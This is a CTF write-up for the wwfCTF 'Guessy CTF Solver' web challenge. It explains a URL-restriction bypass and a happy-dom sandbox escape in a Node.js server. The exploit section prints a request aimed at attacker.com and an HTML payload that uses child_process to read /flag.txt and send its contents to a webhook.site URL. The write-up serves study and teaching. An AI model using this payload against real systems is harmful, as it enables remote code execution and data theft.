wwfCTF web/Guessy CTF Solver
My solution for wwfCTF web/Guessy CTF Solver challenge
Challenge overview
The challenge presents a web application with a /hack
endpoint that processes URLs using the happy-dom
library. The goal is to exploit vulnerabilities in the application to retrieve a flag.
Application structure
1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
40
41
42
43
44
45
46
47
48
49
50
51
const express = require("express");
const { Browser } = require("happy-dom");
const app = express();
const port = process.env.PORT || 3000;
app.use(express.json());
const SOLVE_PATHS = ["robots.txt", "sitemap.xml"];
const prefix = /^[a-zA-Z]+$/;
const easy_challenge = "https://fake-easy-chall.wwctf.com";
app.post("/hack", async (req, res) => {
const url = req.body.url;
const path = req.body.path || SOLVE_PATHS;
const flagPrefix = req.body.flagPrefix || "wwf";
console.log(req.headers);
if (!flagPrefix.match(prefix)) {
return res.status(400).json({ message: "I hack not you!!!" });
}
const flagRegex = new RegExp(`${flagPrefix}\\{.*?\\}`);
if (url !== easy_challenge) {
return res
.status(400)
.json({ message: "Hay i can only solve easy challenges!!" });
}
if (path.length > 3) {
return res.status(400).json({ message: "Too many paths.." });
}
for (let i = 0; i < path.length; i++) {
visit_url = new URL(path[i], easy_challenge);
visit_url = visit_url.toString();
try {
const browser = new Browser();
const page = browser.newPage();
await page.goto(visit_url);
const pageContent = page.mainFrame.document.body.innerHTML;
const flag = pageContent.match(flagRegex);
if (flag) {
return res.json({ flag: flag[0] });
}
} catch (error) {
console.error(error);
return res.status(500).json({ message: "Error fetching page" });
}
}
return res.json({ message: "Challenge is tough!!" });
});
app.listen(port, () => {
console.log(`Server running on http://localhost:${port}`);
});
The application is built using Express.js and uses the happy-dom
library for parsing and rendering web pages. Here are the key components:
1
2
3
4
5
6
7
const express = require("express");
const { Browser } = require("happy-dom");
const app = express();
const SOLVE_PATHS = ["robots.txt", "sitemap.xml"];
const prefix = /^[a-zA-Z]+$/;
const easy_challenge = "https://fake-easy-chall.wwctf.com";
The /hack
endpoint accepts POST
requests with three parameters:
url
: Target URL to scan (must matcheasy_challenge
)path
: Array of paths to check (max 3 entries)flagPrefix
: Prefix for the flag regex (must be alphabetic)
Analysis
The application has a security flaw in:
- URL restriction:
1 2 3
if (url !== easy_challenge) { return res.status(400).json({ message: "Hay i can only solve easy challenges!!" }); }
The application only checks if the base URL matches
easy_challenge
, but the actual URL visited is constructed using:1
visit_url = new URL(path[i], easy_challenge);
This means we can control the actual destination through the
path
parameter, effectively bypassing the URL restriction. The URL constructor will resolve the path relative to the base URL, allowing us to point to any domain. happy-dom
1 2 3 4
const browser = new Browser(); const page = browser.newPage(); await page.goto(visit_url); const pageContent = page.mainFrame.document.body.innerHTML;
The application uses
happy-dom
to render and process web pages. Two key issues make this exploitable:- No origin restrictions:
happy-dom
will follow any URL we provide in the path parameter, allowing us to load content from attacker-controlled domains. - Insufficient sandboxing:
happy-dom
executes JavaScript in the context of Node.js without proper isolation. This means any JavaScript we serve can access Node.js internals through the require function:1
require('child_process').spawnSync('cat',['/flag.txt'])
Here is more details about the vulnerability:
AIKIDO-2024-10426
- No origin restrictions:
Exploitation
We can chain these weaknesses together:
- Use the path parameter to point to our controlled domain:
1 2 3 4 5
{ "url": "https://fake-easy-chall.wwctf.com", "path": ["attacker.com/index.html"], "flagPrefix": "wwf" }
- Host a page containing JavaScript that uses Node.js features to read the flag:
1
2
3
4
5
6
7
<!DOCTYPE html>
<html>
<body>
<h1>CTF!</h1>
<script src="https://webhook.site/<web-hook-id>/'+require('child_process').spawnSync('cat',['/flag.txt']).stdout+'"></script>
</body>
</html>
When happy-dom
processes our page, it executes our JavaScript with Node.js privileges, allowing us to read the flag file and exfiltrate its contents through the webhook URL.
Flag:
wwf{y0u_s0lv3d_a_n0n_gu3ss1ng_ch4ll3ng3}
Conclusion
This challenge demonstrated the risks of using libraries that execute JavaScript code without proper sandboxing. The happy-dom
library’s lack of isolation from Node.js internals allowed for arbitrary code execution, leading to the compromise of the flag.
Key takeaways
- Library security: Always research and understand the security implications of third-party libraries, especially those that execute code.
- Sandboxing: When processing untrusted content, ensure proper isolation to prevent access to sensitive system functionality.
- Input validation: While the application had some input validation, it wasn’t sufficient to prevent exploitation through the vulnerable library.